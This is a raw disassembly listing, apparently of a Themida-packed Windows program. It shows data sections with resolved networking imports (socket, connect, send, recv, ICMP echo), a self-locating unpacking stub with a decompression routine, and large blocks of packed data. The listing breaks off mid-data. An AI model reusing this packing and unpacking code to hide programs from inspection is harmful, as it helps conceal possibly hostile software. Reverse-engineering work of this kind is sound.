10h dword_4472C0 dd 12h dup(0) ; sub_40FF60+114o db 0 byte_447309 db 3 dup(0) ; DATA XREF: ___:00408ADEo ; sub_40FF60+159o ... dd 11h dup(0) db 2 dup(0) word_447352 dw 0 ; DATA XREF: ___:00408AB5o ; sub_40FF60+132o dd 6 dup(0) word_44736C dw 0 ; DATA XREF: sub_40FF60+1E1r align 10h dd 0Ah dup(0) db 3 dup(0) byte_44739B db 0 ; DATA XREF: ___:00408B07o ; sub_40FF60+17Co ... dd 12h dup(0) dword_4473E4 dd 12h dup(0) ; sub_40FF60+F7o ... db 0 byte_44742D db 3 dup(0) ; DATA XREF: ___:00408A40o ; sub_40FF60+D0o ... dd 23h dup(0) db 3 dup(0) byte_4474BF db 0 ; DATA XREF: ___:00408B30o ; sub_40FF60+19Ao dd 24h dup(0) db 0 byte_447551 db 3 dup(0) ; DATA XREF: sub_425020+2Bo ; sub_425020+37o dd 11h dup(0) db 2 dup(0) word_44759A dw 0 ; DATA XREF: ___:00412E9Ao ; ___:00412EB9o ... dd 3Ch dup(0) db 3 dup(0) dword_44768F dd 0 ; sub_41EF30+154r ... align 4 dd 35h dup(0) db 0 byte_447769 db 0 ; DATA XREF: sub_41B950+18r align 4 dd 36h dup(0) byte_447844 db 0 ; DATA XREF: sub_40FF60+842r align 4 dd 0Bh dup(0) dword_447874 dd 18h dup(0) ; sub_40ED70+97o ... db 2 dup(0) byte_4478D6 db 0 ; DATA XREF: sub_404C70+258r ; sub_41D830+671r align 4 dd 11h dup(0) db 3 dup(0) byte_44791F db 0 ; DATA XREF: sub_404C70:loc_404EE0r ; sub_41D830:loc_41DEB9r dd 0Bh dup(0) db 3 dup(0) byte_44794F db 0 ; DATA XREF: sub_404C70+279o ; sub_41D830+692o ... dd 12h dup(0) dword_447998 dd 2Bh dup(0) ; sub_41EF30+630o ... dword_447A44 dd 0 dd 11h dup(0) db 0 dword_447A8D dd 0 align 4 dd 0D9h dup(0) byte_447DF8 db 0 ; DATA XREF: sub_41EF30+146r ; sub_41EF30+5EEr align 4 dd 3A8h dup(0) db 2 dup(0) word_448C9E dw 0 ; DATA XREF: sub_404640+1BDo ; sub_404B10+31o ... db 2 dup(0) word_448CA2 dw 0 ; DATA XREF: sub_404B10+4o dd 1Ch dup(0) db 2 dup(0) word_448D16 dw 0 ; DATA XREF: sub_407660+36o ; sub_4076F0+3Eo ... dd 26h dup(0) dword_448DB0 dd 86h dup(0) ; sub_404C70+27Eo ... db 3 dup(0) byte_448FCB db 0 ; DATA XREF: sub_425640+3Bw ; sub_4256B0+7Ew ... dd 7Fh dup(0) db 3 dup(0) dword_4491CB dd 0 ; sub_4256B0+4Fw ... dword_4491CF dd 0 ; ___:004240BDw ... dword_4491D3 dd 0 ; sub_4256B0+5Dr ... dword_4491D7 dd 0 ; sub_4256B0+8Cr ... dword_4491DB dd 0 ; sub_4256B0+9Dr dword_4491DF dd 0 ; ___:004240F1r ... byte_4491E3 db 0 ; DATA XREF: sub_425640+42w ; sub_4256B0+85w dword_4491E4 dd 3018h dup(0) db 3 dup(0) byte_455247 db 0 ; DATA XREF: ___:off_444F40o dd 0EB85h dup(0) dword_49005C dd 8267h dup(0) db 3 dup(0) byte_4B09FB db 0 ; DATA XREF: sub_581EE9+1E63Fo dd 2E3Bh dup(0) db 0 byte_4BC2E9 db 3 dup(0) ; DATA XREF: ___:off_402009o dd 6058h dup(0) db 0 byte_4D444D db 3 dup(0) ; DATA XREF: ___:off_44433Co dd 6DEh dup(0) db 3 dup(0) dword_4D5FCB dd 0 ; sub_4258E0+13o align 10h dd 39h dup(0) db 0 byte_4D60B5 db 3 dup(0) ; DATA XREF: sub_404C20+1Eo ; sub_404C70+65o ... dd 5 dup(0) byte_4D60CC db 0 ; DATA XREF: sub_404C70+292w ; sub_404C70+4EEw dword_4D60CD dd 0 ; sub_422A40:loc_4231C4r ... align 4 dd 0 db 0 dword_4D60D9 dd 0 ; sub_404C20+2Aw byte_4D60DD db 3 dup(0) ; DATA XREF: ___:00412EF4o ; ___:00412F17o dd 9 dup(0) db 3 dup(0) dword_4D6107 dd 0 ; sub_427AD0:loc_427BC7r align 4 dd 2Fh dup(0) db 3 dup(0) byte_4D61CB db 0 ; DATA XREF: sub_425870+16o ; sub_4258A0+19o db 3 dup(0) byte_4D61CF db 0 ; DATA XREF: sub_4257A0+4Co dd 6Fh dup(0) db 3 dup(0) byte_4D638F db 0 ; DATA XREF: ___:004081C6o ; ___:00408657o ... dd 8 dup(0) dword_4D63B0 dd 0 dd 51h dup(0) db 0 byte_4D64F9 db 0 ; DATA XREF: sub_426820:loc_4268D0r ; sub_426CE0:loc_426D95r ... align 4 dd 9Eh dup(0) db 0 dword_4D6775 dd 0 ; sub_426CE0+7Dw ... align 4 dd 1EDAh dup(0) db 0 byte_4DE2E5 db 3 dup(0) ; DATA XREF: ___:00419E93o ; sub_419F50+13o dd 1EB9h dup(0) db 3 dup(0) byte_4E5DCF db 0 ; DATA XREF: sub_426A60+1Do dd 21h dup(0) db 0 byte_4E5E55 db 3 dup(0) ; DATA XREF: ___:00419EA3o dd 235h dup(0) db 3 dup(0) byte_4E672F db 0 ; DATA XREF: sub_426A60+2Fo dd 1D5h dup(0) byte_4E6E84 db 0 ; DATA XREF: sub_404C70+299w ; sub_40FF60:loc_40FFA2r ... byte_4E6E85 db 3 dup(0) ; DATA XREF: sub_404C70+235o ; sub_404C70+87Ao ... dd 4 dup(0) db 2 dup(0) word_4E6E9A dw 0 ; DATA XREF: sub_404C70+2D4o ; ___:0040866Bo ... dd 0Fh dup(0) db 0 byte_4E6ED9 db 0 ; DATA XREF: sub_41F860+31w ; sub_41F860+47w ... db 0 byte_4E6EDB db 0 ; DATA XREF: sub_418490+21o ; sub_41D830+341o ... dd 751Eh dup(0) dword_504354 dd 0AC6h dup(0) dword_506E6C dd 1000h dup(0) ; ___:00419A9Do ... dword_50AE6C dd 333h dup(0) ; ___:00419AB8o ... dword_50BB38 dd 0 ; sub_41A010+1Br ... dd 3 dup(0) dword_50BB48 dd 0 ; ___:0041FB3Dw ... dword_50BB4C dd 0 ; sub_41FA90+2Aw ... dword_50BB50 dd 0 dword_50BB54 dd 0 ; ___:0041FB5Bw dword_50BB58 dd 0 dword_50BB5C dd 0 ; ___:0041FB67w ... dword_50BB60 dd 0 ; ___:0041FB6Dw ... dword_50BB64 dd 0 ; ___:00420DA9o dword_50BB68 dd 0 ; sub_41FA90:loc_41FAB4r ... dword_50BB6C dd 0 ; ___:0041FB81w dword_50BB70 dd 0 ; sub_420530+41w ... dword_50BB74 dd 0 ; sub_420530+7Fr dword_50BB78 dd 0 ; sub_420530+92r ... dword_50BB7C dd 0 ; sub_420530+148r dd 3 dup(0) dword_50BB8C dd 0 ; ___:0041C1A5o dword_50BB90 dd 0 ; sub_423720+5r ... dword_50BB94 dd 0 ; ___:00423EB1r ... dd 7CEh dup(0) dword_50DAD0 dd 6 dup(0) ; ___:00423DB2o ... dword_50DAE8 dd 196h dup(0) ; sub_423660+6Do dword_50E140 dd 0 word_50E144 dw 0 ; DATA XREF: sub_424E90+A9r align 4 byte_50E148 db 0 ; DATA XREF: sub_4254E0:loc_425540r ; sub_4254E0+97w align 4 dword_50E14C dd 0 ; resolved to->IPHLPAPI.IcmpSendEcho ; sub_426820+D9r dword_50E150 dd 0 ; resolved to->IPHLPAPI.IcmpCreateFile ; sub_426820+45r dword_50E154 dd 0 ; resolved to->IPHLPAPI.IcmpCloseHandle ; sub_426820+54r ... dd 0 dword_50E15C dd 80h dup(0) ; sub_426A60+129o dword_50E35C dd 0 dword_50E360 dd 0 dd 1Dh dup(0) dword_50E3D8 dd 0 ; ___:0042B11Dr ... dword_50E3DC dd 0 ; sub_42CB10:loc_42CBA6r ... dword_50E3E0 dd 0 ; resolved to->WS2_32.connect ; sub_431280+2Dr ... dword_50E3E4 dd 0 dword_50E3E8 dd 0 ; sub_430270r ... dword_50E3EC dd 0 dword_50E3F0 dd 0 ; sub_42F6B0+111w ... dword_50E3F4 dd 0 ; sub_42F6B0+F6r ... dword_50E3F8 dd 0 ; ___:loc_4303B0r dword_50E3FC dd 0 ; resolved to->KERNEL32.InterlockedCompareExchange ; sub_430FE0+2Cr ... dd 2 dup(0) dd 0 dd 13Dh dup(0) dword_50E900 dd 10h dup(0) ; sub_430180:loc_4301B0o ... dword_50E940 dd 8 dup(0) ; sub_42F540+25o ... dword_50E960 dd 8 dup(0) ; sub_430690+25o ... dword_50E980 dd 8 dup(0) ; sub_431560+84o ... dword_50E9A0 dd 8 dup(0) ; sub_431560+8Bo ... dword_50E9C0 dd 9 dup(0) ; sub_42F6B0:loc_42F7C7o ... dd 0FFFFFFFFh, 3 dup(0) dd 0FFFFFFFFh, 182h dup(0) dd 5 dup(6BC47F69h), 5 dup(400573A7h), 5 dup(4582CB05h) dd 5 dup(64E3911h), 5 dup(39C96FA3h), 5 dup(73FC0644h) dd 5 dup(40F754D1h), 5 dup(2623ABA7h), 5 dup(484273BDh) dd 5 dup(322488D8h), 5 dup(34E2EB2Ah), 1Eh dup(0) dd 73FC0644h, 10h dup(0) dd 34E2EB2Ah, 58h dup(0) dd 64E3911h, 1Bh dup(0) dd 484273BDh, 14h dup(0) dd 400573A7h, 52h dup(0) dd 6BC47F69h, 1Bh dup(0) dd 322488D8h, 0Bh dup(0) dd 40F754D1h, 0Ch dup(0) dd 39C96FA3h, 2Bh dup(0) dd 2623ABA7h, 11h dup(0) dd 4582CB05h, 0Ah dup(0) dd 28907E8h, 28A0000h, 28B0000h dword_50F710 dd 28B14E7h dd 28B16E3h dword_50F718 dd 28B199Dh dd 28B1D4Eh, 28C0000h dword_50F724 dd 28D0000h dd 28E0000h, 28E044Ah, 28E07A6h, 28E0C24h dword_50F738 dd 28F0000h ; sub_40E7A0+25Ar ... dword_50F73C dd 28F05BCh dword_50F740 dd 28F0908h dd 28F09E6h, 2900000h dword_50F74C dd 29003EFh ; sub_40ED70+15Er ... dd 2900605h dword_50F754 dd 2910000h ; sub_40E7A0+22Cr dd 2910D3Fh dword_50F75C dd 2920000h ; sub_4207E0+285r ... dd 2930000h dword_50F764 dd 2931120h ; sub_40E7A0+24Cr dd 10h dup(0) dd 76F36C5Bh, 0Bh dup(0) dd 2710000h, 27101F6h, 2720000h, 27207DBh, 2720967h, 2720C5Eh dd 2720E55h, 2730000h, 27307F8h, 2730BBDh, 2740000h, 2740221h dd 27408A8h, 27408D2h, 2740BDEh, 2750000h, 27502CBh, 27506F3h dd 27508ADh, 2750C2Bh, 2760000h, 276064Ch, 27606C1h, 276092Eh dd 2760BA5h, 2760D35h, 2770000h, 27701DAh, 27703B3h, 27704B2h dd 27706E6h, 2770771h dword_50F858 dd 2780000h dword_50F85C dd 27807F0h dword_50F860 dd 2780970h dd 7C901005h, 7C9010EDh, 2780AD9h, 2780B32h dword_50F874 dd 2790000h ; sub_420530+FEr dd 279068Eh, 27A0000h, 27A03C0h, 27A06ABh, 27B0000h, 27C0000h dd 27C090Ch, 27D0000h, 27E0000h, 27E09F8h dword_50F8A0 dd 27F0000h ; sub_420530:loc_42057Cr ... dword_50F8A4 dd 27F06DAh ; sub_40FF60+47r ... ; --------------------------------------------------------------------------- xchg eax, edx pop es jg short loc_50F8AE retf ; --------------------------------------------------------------------------- db 8 ; --------------------------------------------------------------------------- loc_50F8AE: ; CODE XREF: ___:0050F8AAj jg short loc_50F8B2 jnp short loc_50F8BF loc_50F8B2: ; CODE XREF: ___:loc_50F8AEj jg short loc_50F8B6 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_50F8B6: ; CODE XREF: ___:loc_50F8B2j add byte ptr [edx], 0A7h adc [eax-7EFFFFFEh], al loc_50F8BF: ; CODE XREF: ___:0050F8B0j add al, [eax] ; --------------------------------------------------------------------------- db 0, 82h, 2 dword_50F8C4 dd 2821481h dd 282165Eh, 28219BDh dword_50F8D0 dd 2821BE4h ; sub_41B4B0+2Fr ... dd 2830000h dword_50F8D8 dd 283074Ch ; sub_4203D0+2Er ... dd 2830B8Dh, 2840000h, 2840AD7h dword_50F8E8 dd 2850000h dd 28502B5h, 2860000h, 2870000h, 287120Ah, 2871DD9h, 2880000h dd 2880737h, 2880B73h dd 2890000h dd 1Ah dup(0) dd 71B2578Ch, 71B25099h, 0Bh dup(0) dword_50F9AC dd 760AC190h dd 76085AE4h, 760976AFh, 7608B84Ch, 76081F67h, 760A0430h dd 7608F485h, 7609202Eh, 760A044Fh, 760A036Bh, 0Dh dup(0) dd 77C4EE2Fh, 77C35C94h, 77C3537Ch, 77C1F1DBh, 77C1F1A4h dd 77C623D8h, 77C4D675h, 77C227FAh, 77C1EEEBh, 77C617ACh dd 77C32DAEh, 77C39E9Ah, 77C34DF8h, 77C34E51h, 77C21868h dd 77C40BB1h, 77C36D74h, 77C3619Ch, 77C49113h, 77C3A307h dd 77C3A3DBh, 77C4186Ah dword_50FA60 dd 77C3F931h ; resolved to->MSVCRT.sprintf ; sub_42D2C0+53r ... dword_50FA64 dd 77C1F2BCh ; resolved to->MSVCRT._errno dd 77C371FAh, 77C36DF2h, 77C39D67h, 77C1C561h dword_50FA78 dd 77C5F988h ; resolved to->MSVCRT._pctype; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0C0h, 0C2h, 77h dword_50FA80 dd 77C40E13h ; resolved to->MSVCRT.fprintfdword_50FA84 dd 77C5FC80h ; resolved to->MSVCRT._iob ; sub_42CB10+4Ar ... ; --------------------------------------------------------------------------- imul dh retn ; --------------------------------------------------------------------------- db 77h dd 77C41B72h dword_50FA90 dd 77C47BE0h ; resolved to->MSVCRT.strrchrdword_50FA94 dd 77C4173Bh ; resolved to->MSVCRT.fwritedword_50FA98 dd 77C4139Ch ; resolved to->MSVCRT.fseekdword_50FA9C dd 77C4624Eh ; resolved to->MSVCRT._stricmpdword_50FAA0 dd 77C41574h ; resolved to->MSVCRT.ftelldword_50FAA4 dd 77C411FBh ; resolved to->MSVCRT.fread dd 77C40E76h dword_50FAAC dd 77C47E61h ; resolved to->MSVCRT.wcscat ; ___:0041C2DAr ; --------------------------------------------------------------------------- adc al, dh retn ; --------------------------------------------------------------------------- db 77h dd 77C40AB1h, 77C4FA10h dword_50FABC dd 77C371D3h ; resolved to->MSVCRT.rand ; sub_41B950+17Er ... dd 77C371BCh dword_50FAC4 dd 77C2C21Bh ; resolved to->MSVCRT.free ; sub_42DFD0+34r ... dd 77C2C407h dword_50FACC dd 77C47920h ; resolved to->MSVCRT.strncat dd 77C39E7Eh dword_50FAD4 dd 77C47A50h ; resolved to->MSVCRT.strncmp ; sub_42CB10+90r dword_50FAD8 dd 77C3FA76h ; resolved to->MSVCRT._snprintf db 90h db 0CFh, 0C1h, 77h dword_50FAE0 dd 77C47660h ; resolved to->MSVCRT.strchr db 8Ah, 0FFh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 77h ; --------------------------------------------------------------------------- mul byte ptr [esi] retn 0E777h ; --------------------------------------------------------------------------- db 14h, 0C2h, 77h dd 77C29CC5h dword_50FAF4 dd 77C47CE5h ; resolved to->MSVCRT.strtok ; sub_41BC90+5Dr dword_50FAF8 dd 77C47C60h ; resolved to->MSVCRT.strstr ; sub_40FF60+1126r ... dword_50FAFC dd 77C47A90h ; resolved to->MSVCRT.strncpy ; ___:00419BDAr dd 77C29CDDh, 77C293C7h dword_50FB08 dd 77C1BF18h ; resolved to->MSVCRT.atoi ; sub_422A40+203r ... dd 77C35F0Dh, 77C46170h dword_50FB14 dd 77C5F97Ch ; resolved to->MSVCRT.__mb_cur_max dd 77C46125h dd 77C46320h dd 19h dup(0) dd 76BF215Ah, 76BF1F1Ch, 76BF3A9Ah, 0Bh dup(0) dd 7CA41110h, 0Bh dup(0) dd 28903DFh off_50FBF0 dd offset sub_5EFFD5 ; DATA XREF: ___:00419EBDr ; sub_419F50+2Dr ... dd 0Bh dup(0) dword_50FC20 dd 71AB2B66h ; resolved to->WS2_32.ntohs dd 71AB951Eh, 71AB3E00h dword_50FC2C dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_425020:loc_4250C9r ... dword_50FC30 dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_42A5F0:loc_42A6ABr dd 71AB406Ah, 71AB4428h, 71AB664Dh, 71AB50C8h dword_50FC44 dd 71AB94DCh ; resolved to->WS2_32.WSAGetLastError dd 71AB4544h, 71AB88D3h dword_50FC50 dd 71AB4519h ; resolved to->WS2_32.ioctlsocket ; sub_42B540+E8r dd 71AB2BC0h dword_50FC58 dd 71AB2D0Fh ; resolved to->WS2_32.recvfromdword_50FC5C dd 71AB2C69h ; resolved to->WS2_32.sendto ; sub_42A5F0+F9r dd 71AB3EA1h, 71AB8769h, 71AB4489h, 71ABE6EBh, 71AC0BDEh dd 71AB2A5Eh dword_50FC78 dd 71AB3F41h ; resolved to->WS2_32.inet_ntoa dd 71AB2BC0h dword_50FC80 dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_41A6D0+48r ... dword_50FC84 dd 71AC1028h ; resolved to->WS2_32.acceptdword_50FC88 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_41F860+198r ... dword_50FC8C dd 71AB428Ah ; resolved to->WS2_32.send ; ___:004216E1r ... dword_50FC90 dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_427AD0+18Dr ... dd 71AB2BF4h, 71ABE479h, 71AC0B50h, 71AB4FD4h, 11h dup(0) dd 76D6AC1Dh, 4C5h dup(0) ___ ends ; Section 2. (virtual address 00111000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00111000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rsrc___ segment para public 'DATA' use32 assume cs:_rsrc___ ;org 511000h align 2000h _rsrc___ ends ; Section 3. (virtual address 00112000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00112000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata__ segment para public 'DATA' use32 assume cs:_idata__ ;org 512000h dd 7C801A24h, 7C81CDDAh, 0 aE db 'Ïe',9,']',0 align 10h dd 112050h, 112000h, 3 dup(0) dd 112079h, 11200Ch, 5 dup(0) aKernel32_dll_1 db 'KERNEL32.dll',0 db 2 dup(0), 43h aReatefilea db 'reateFileA',0 align 4 dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h dd 6C642E32h, 6Ch aInitcommoncont db 'InitCommonControls',0 align 1000h _idata__ ends ; Section 4. (virtual address 00113000) ; Virtual size : 00102000 (1056768.) ; Section size in file : 00102000 (1056768.) ; Offset to raw data for section: 00113000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute Themida_ segment para public 'CODE' use32 assume cs:Themida_ ;org 513000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing dd 0DB68A41Ch, 4F492h, 5EA04h, 158172h, 0 ; --------------------------------------------------------------------------- mov eax, 0 pusha or eax, eax jz short loc_513086 call $+5 pop eax add eax, 53h cmp byte ptr [eax], 0E9h jnz short loc_513041 popa jmp short loc_513076 ; --------------------------------------------------------------------------- db 0DBh, 2Dh, 37h db 30h, 51h, 0 dt 9.2233720368547758075e18 ; --------------------------------------------------------------------------- loc_513041: ; CODE XREF: Themida_:0051302Cj call $+5 pop eax and eax, 0FFFFF000h xor edi, edi loc_51304E: ; CODE XREF: Themida_:00513072j mov bx, 5A19h add bx, 34h cmp [eax], bx jnz short loc_51306D movzx edx, word ptr [eax+3Ch] add edx, eax mov ebx, 44E9h add ebx, 67h cmp [edx], ebx jz short loc_513074 loc_51306D: ; CODE XREF: Themida_:00513059j sub eax, 1000h jmp short loc_51304E ; --------------------------------------------------------------------------- loc_513074: ; CODE XREF: Themida_:0051306Bj mov edi, eax loc_513076: ; CODE XREF: Themida_:0051302Fj jmp loc_513265 ; --------------------------------------------------------------------------- add eax, edi mov ecx, 11326Ah add ecx, edi jmp short loc_513090 ; --------------------------------------------------------------------------- loc_513086: ; CODE XREF: Themida_:0051301Cj mov eax, offset loc_57DB9C mov ecx, offset word_51326A loc_513090: ; CODE XREF: Themida_:00513084j push eax push ecx call sub_51311B call $+5 pop eax sub eax, 26h mov ecx, 1EFh mov byte ptr [eax], 0E9h sub ecx, 5 mov [eax+1], ecx popa jmp loc_513265 ; --------------------------------------------------------------------------- dw 9328h dd 788AE4C9h, 815EBCh, 63432DA8h, 0F065446Ch, 3ADC23BEh dd 759CA4D8h, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh dd 1848C86h, 662A4924h, 1799B7DEh, 9122458Bh, 0D8B164C8h dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h db 0C8h, 0E4h, 0F2h ; =============== S U B R O U T I N E ======================================= sub_51311B proc near ; CODE XREF: Themida_:00513092p var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov esi, [esp+20h+arg_0] mov edi, [esp+20h+arg_4] cld mov dl, 80h loc_513127: ; CODE XREF: sub_51311B:loc_51313Bj mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_513132: ; CODE XREF: sub_51311B+7Aj ; sub_51311B+C3j ... add dl, dl jnz short loc_51313B mov dl, [esi] inc esi adc dl, dl loc_51313B: ; CODE XREF: sub_51311B+19j jnb short loc_513127 add dl, dl jnz short loc_513146 mov dl, [esi] inc esi adc dl, dl loc_513146: ; CODE XREF: sub_51311B+24j jnb short loc_513197 xor eax, eax add dl, dl jnz short loc_513153 mov dl, [esi] inc esi adc dl, dl loc_513153: ; CODE XREF: sub_51311B+31j jnb loc_513238 add dl, dl jnz short loc_513162 mov dl, [esi] inc esi adc dl, dl loc_513162: ; CODE XREF: sub_51311B+40j adc eax, eax add dl, dl jnz short loc_51316D mov dl, [esi] inc esi adc dl, dl loc_51316D: ; CODE XREF: sub_51311B+4Bj adc eax, eax add dl, dl jnz short loc_513178 mov dl, [esi] inc esi adc dl, dl loc_513178: ; CODE XREF: sub_51311B+56j adc eax, eax add dl, dl jnz short loc_513183 mov dl, [esi] inc esi adc dl, dl loc_513183: ; CODE XREF: sub_51311B+61j adc eax, eax jz short loc_51318D push edi sub edi, eax mov al, [edi] pop edi loc_51318D: ; CODE XREF: sub_51311B+6Aj mov [edi], al inc edi mov ebx, 2 jmp short loc_513132 ; --------------------------------------------------------------------------- loc_513197: ; CODE XREF: sub_51311B:loc_513146j mov eax, 1 loc_51319C: ; CODE XREF: sub_51311B:loc_5131B0j add dl, dl jnz short loc_5131A5 mov dl, [esi] inc esi adc dl, dl loc_5131A5: ; CODE XREF: sub_51311B+83j adc eax, eax add dl, dl jnz short loc_5131B0 mov dl, [esi] inc esi adc dl, dl loc_5131B0: ; CODE XREF: sub_51311B+8Ej jb short loc_51319C sub eax, ebx mov ebx, 1 jnz short loc_5131E3 mov ecx, 1 loc_5131C0: ; CODE XREF: sub_51311B:loc_5131D4j add dl, dl jnz short loc_5131C9 mov dl, [esi] inc esi adc dl, dl loc_5131C9: ; CODE XREF: sub_51311B+A7j adc ecx, ecx add dl, dl jnz short loc_5131D4 mov dl, [esi] inc esi adc dl, dl loc_5131D4: ; CODE XREF: sub_51311B+B2j jb short loc_5131C0 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_513132 ; --------------------------------------------------------------------------- loc_5131E3: ; CODE XREF: sub_51311B+9Ej dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_5131F1: ; CODE XREF: sub_51311B:loc_513205j add dl, dl jnz short loc_5131FA mov dl, [esi] inc esi adc dl, dl loc_5131FA: ; CODE XREF: sub_51311B+D8j adc ecx, ecx add dl, dl jnz short loc_513205 mov dl, [esi] inc esi adc dl, dl loc_513205: ; CODE XREF: sub_51311B+E3j jb short loc_5131F1 cmp eax, 7D00h jnb short loc_513228 cmp eax, 500h jb short loc_513223 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_513132 ; --------------------------------------------------------------------------- loc_513223: ; CODE XREF: sub_51311B+F8j cmp eax, 7Fh ja short loc_51322B loc_513228: ; CODE XREF: sub_51311B+F1j add ecx, 2 loc_51322B: ; CODE XREF: sub_51311B+10Bj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_513132 ; --------------------------------------------------------------------------- loc_513238: ; CODE XREF: sub_51311B:loc_513153j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_513259 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_513132 ; --------------------------------------------------------------------------- loc_513259: ; CODE XREF: sub_51311B+125j sub edi, [esp+20h+arg_4] mov [esp+20h+var_4], edi popa retn 8 sub_51311B endp ; --------------------------------------------------------------------------- loc_513265: ; CODE XREF: Themida_:loc_513076j ; Themida_:005130B1j jmp loc_57DB9C ; --------------------------------------------------------------------------- word_51326A dw 38E9h ; DATA XREF: Themida_:0051308Bo dd 15334F4h, 1E33F2BBh, 38EF1AE1h, 22BE4701h, 0DD2CA592h dd 57770148h, 85702411h, 2247DEF7h, 795F8770h, 0D7081771h dd 0C298457Eh, 3691FF1Dh, 0E4FD8770h, 77235C11h, 90F1EBDDh dd 6552E055h, 61397473h, 70419C72h, 789F2E5Eh, 0D7F5102Eh dd 65685400h, 4964696Dh, 0ECBFD861h, 2103DC35h, 5BA7DF77h dd 6E7E5734h, 0AA110321h, 7B04D016h, 7838EB58h, 0EAAF0153h dd 87C58B1Ch, 8E860D4h, 0ED815D80h, 6143503h, 55958906h dd 0B5110D0Ch, 85081605h, 8307268Dh, 3808D9BDh, 8B0C7407h dd 0B8E222E8h, 0C27B3D72h, 244470C7h, 40213E1Ch, 45186A12h dd 6829A3E8h, 83741E9Ah, 0ADF9407h, 894B2507h, 42D5A40Ah dd 950214E9h db 0ECh, 0F4h, 2 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFD8h mov al, 0EEh pop edx and dword ptr [edx], 8B04F1EAh fcmovb st, st(7) inc ebp fmul dword ptr [ebp+400E8C08h] mov [eax], ecx cmp dword ptr [esi+7Dh], 741D8063h ; --------------------------------------------------------------------------- dd 8203F0Fh, 455B8399h, 431286FFh, 3736E1EBh, 412661DCh dd 4004C2C9h, 7CC48146h, 4902FF68h, 363AE2h, 8B80458Dh dd 0C7085D0Ah, 50221985h, 0D10A8D50h, 1888C305h, 0B458941h dd 610BD81h, 0E375145Dh, 0BA8DA127h, 75606447h, 240E8A80h dd 805BF4BBh, 5437ABB8h, 0D07ED378h, 4B080F61h, 0AFD8F775h dd 464729C3h, 1546234Ah, 0D11542F9h, 0D0D08A61h, 0C5FEF03Ah dd 5FC45EEh, 1E04EB4Dh, 804646ADh, 0F729403Eh, 34B784BAh dd 0EB0C7D30h, 0F83EC87Fh, 42126D66h, 0F40E65F0h, 0C14A1040h dd 0A004F065h, 1CD1F8D6h, 0B0C203E0h, 8ADB3328h, 80301C0Eh dd 0A7266FBh, 77391E0Ah, 79EB9F05h, 61142233h, 0A3F0DFBh dd 1E08B766h, 0AC3A7AFh, 181A1056h, 0A0B7241h, 66F7746h dd 10C5124h, 0F4ECF05Dh, 8D7D8339h, 0CB07202h, 0A576C09Bh dd 2620AAB3h, 8D03E7F8h, 3BA800B5h, 820FFC55h, 0B0BD7854h dd 38DFAAE0h, 870BA28h, 7054B970h, 8020BDFCh, 0FFE0037h dd 0FA754947h, 6AE222B9h, 103BBEEh, 82F11231h, 0EC02B6EBh dd 0A186018Eh, 51071539h, 0FA36C165h, 268AE72Eh, 22E99F78h dd 0BC675900h, 0F081199Fh, 0FD11FAF2h, 6D4CE810h, 0EC007F7Fh dd 17164558h, 301B8CAEh, 6B385F82h, 2C3A5CA7h, 580186C3h dd 1C3D04E9h, 80C46021h, 5257D8Ah, 8CC4582h, 6482117h dd 6FD0C458h, 0F1689896h, 465C23FAh, 0CEC00318h, 0A810F027h dd 70CB8CDBh, 82670134h, 765B4E39h, 51B8F80Fh, 0D1043D1Fh dd 46983B1Dh, 75097542h, 48F7C02Eh, 9065E4ECh, 1830652h dd 8E05C584h, 0AE52B496h, 42A3C53h, 8C3329C2h, 6EE7B871h dd 0FFCCE40Eh, 7730812Bh, 341D2204h, 0F98406C1h, 0BC207533h dd 0ADD3F41h, 309CEFD9h, 0EC41CE02h, 0CC7F8C26h, 4043FF7Eh dd 0E9A9453Fh, 0C4624060h, 4D028C52h, 0AA821125h, 0AB3413B1h dd 1322845Ah, 0A144656h, 0BFEE825Eh, 4435A881h, 0B9FA8A7Dh dd 230513A2h, 0BC432897h, 59F57B0Ah, 5311F55Bh, 8C49F9Eh dd 16C4558Ah, 0C4534340h, 10180DF8h, 8B170381h, 8C671CFFh dd 0DA8DCADFh, 0EAD90DF3h, 0BF32C8D3h, 55786100h, 0E55EDF54h dd 0CB1A009Ah, 1EE3AB84h, 548E281h, 0A0BA0665h, 7390BEAh dd 7F0A6C07h, 58B05012h, 0CAFCCD99h, 4886101Bh, 52C22325h dd 44C45A0Eh, 42384D8Ah, 0DDC4520Ch, 5F57031h, 0CE86C821h dd 0F6A31C02h, 810A1C27h, 7384103Dh, 0EADA8C03h, 610F0069h dd 4AA2F082h, 810A02FFh, 26629CF4h, 51480145h, 0C45EC356h dd 186D8A91h, 5646881Ch, 10FAC400h, 183C7390h, 